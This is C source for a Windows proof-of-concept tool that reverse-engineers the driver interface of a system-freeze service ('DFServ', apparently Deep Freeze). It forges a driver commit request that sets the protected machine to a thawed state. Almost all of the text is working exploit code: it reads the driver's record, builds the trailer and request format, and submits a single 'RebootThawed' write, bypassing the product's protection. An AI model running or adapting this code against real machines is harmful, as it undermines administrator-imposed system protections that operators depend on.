/* 0x72024 (driver sub_14000ADE8 mode 0): the payload must be
* [N-byte record][146-byte trailer] with
* record+0x02 = 0x1712, record+0xD4 = id,
* trailer+0x00 = id, trailer+0x82 = 1, trailer+0x8A = slot, trailer+0x8E = 146,
* and payloadLen-146 = N. Any shorter payload is rejected by sub_140022E54 with
* STATUS_INVALID_PARAMETER, which is the reported 0x57.
*
* This is DFServ v10 sub_4BCE74's a6 != 1 branch: OutputBuffer=NULL and
* OutputBufferLength=0, success judged by Information == N. Nothing is copied
* back to a user output buffer in that form, so this is a pre-flight check on
* the request format, not the record read (the record comes from 0x72020). */
static BOOL verify_read_call(DWORD id,DWORD n,DWORD slot) {
DWORD payload_n=n+TAIL_SIZE, wire_n=0, returned=0;
BYTE *payload=allocate(payload_n), *wire;
BOOL ok;
if(!payload) return FALSE;
put16(payload+0x02,0x1712);
put32(payload+0xD4,id);
put32(payload+n+0x00,id);
put32(payload+n+0x82,1);
put32(payload+n+0x8A,slot);
put32(payload+n+0x8E,TAIL_SIZE);
inner_transform(payload,payload_n);
wire=wrap(payload,payload_n,id,&wire_n);
release(payload);
if(!wire) return FALSE;
ok=raw_call(IO_READ,wire,wire_n,NULL,0,&returned);
release(wire);
if(!ok) return FALSE;
if(returned!=n) { say("Unexpected 0x72024 completion length.\r\n"); return FALSE; }
return TRUE;
}
static DWORD thaw_once(void) {
DWORD id=0,key=0,n=0,returned=0,wire_n=0,payload_n=0;
BYTE size_bytes[4]={0};
BYTE *record=NULL,*payload=NULL,*wire=NULL;
DWORD result=1;
if(!verify_target()) return 1;
if(!query_raw(IO_RECORD_ID,&id) || !query_raw(IO_TYPE1,&key)) return 1;
say("record id from 0x724E4: "); hex32(id);
say(" type1 from 0x7207C: "); hex32(key); say("\r\n");
/* v10 length query is 0x72020, NOT 0x72024. */
if(!meta_call(id,0,size_bytes,4,&returned)) return 1;
if(returned!=4) { say("Unexpected length-query completion size.\r\n"); return 1; }
n=get32(size_bytes);
if(n<MIN_RECORD || n>MAX_RECORD) {
say("Refusing unexpected record length: "); hex32(n); say("\r\n"); return 1;
}
say("record length from 0x72020: "); hex32(n); say("\r\n");
/* Same handler, OutputBufferLength >= n => the record itself is returned. */
record=allocate(n);
if(!record) return 1;
if(!meta_call(id,0,record,n,&returned) || returned!=n) {
say("Refusing: record read did not return n bytes.\r\n"); goto done;
}
if(get16(record+2)!=0x1712 || get32(record+0xD4)!=id) {
say("Refusing: inconsistent record header/id.\r\n"); goto done;
}
/* Optional pre-flight: the corrected 0x72024 request form. Until v11 the
* candidate sent a bare 4-byte payload here, which the driver always
* rejected with 0x57. */
if(!verify_read_call(id,n,SLOT0)) {
say("Corrected 0x72024 request was not accepted; aborting before the write.\r\n");
goto done;
}
say("Corrected 0x72024 request accepted.\r\n");
/* Build the 0x72094 commit exactly as DFServ v10 sub_4BCE74 does:
* payload = record(N) || 146-byte trailer, inner transform, outer wrap.
* The driver clones the current record and adopts only +0x04 and +0x72. */
payload_n=n+TAIL_SIZE;
payload=allocate(payload_n);
if(!payload) goto done;
copy_bytes(payload,record,n);
put32(payload+0x04,1); /* one thawed initialization interval */
put16(payload+0x72,7); /* DFServ RebootThawed operation */
put32(payload+n+0x00,id);
put32(payload+n+0x82,1);
put32(payload+n+0x8A,SLOT0);
put32(payload+n+0x8E,TAIL_SIZE);
inner_transform(payload,payload_n);
wire=wrap(payload,payload_n,id,&wire_n);
if(!wire) goto done;
say("Submitting ONE 0x72094 request (count=1, operation=7).\r\n");
if(!raw_call(IO_COMMIT,wire,wire_n,NULL,0,&returned)) {
say("Write outcome is not confirmed; do not assume nothing changed. No retry was made.\r\n");
goto done;
}
if(returned!=n) {
say("Unexpected completion length; write may have occurred. No retry was made.\r\n");
goto done;
}
say("Driver reported success. No reboot was requested. Actual thaw state is not verified.\r\n");
result=0;
done:
release(wire); release(payload); release(record);
return result;
}
/* Custom PE entry point keeps the executable independent of UCRT/.NET. */
void entry(void) {
int argc=0; DWORD result=2;
WCHAR **argv=CommandLineToArgvW(GetCommandLineW(),&argc);
if(argv && argc==2 && equal_w(argv[1],L"--thaw-once")) result=thaw_once();
else say("Version-pinned static-analysis PoC (v11).\r\nUsage: thaw_once_v11_candidate.exe --thaw-once\r\nNo device calls made without that argument. No automatic reboot.\r\n");
if(argv) LocalFree(argv);
ExitProcess(result);
}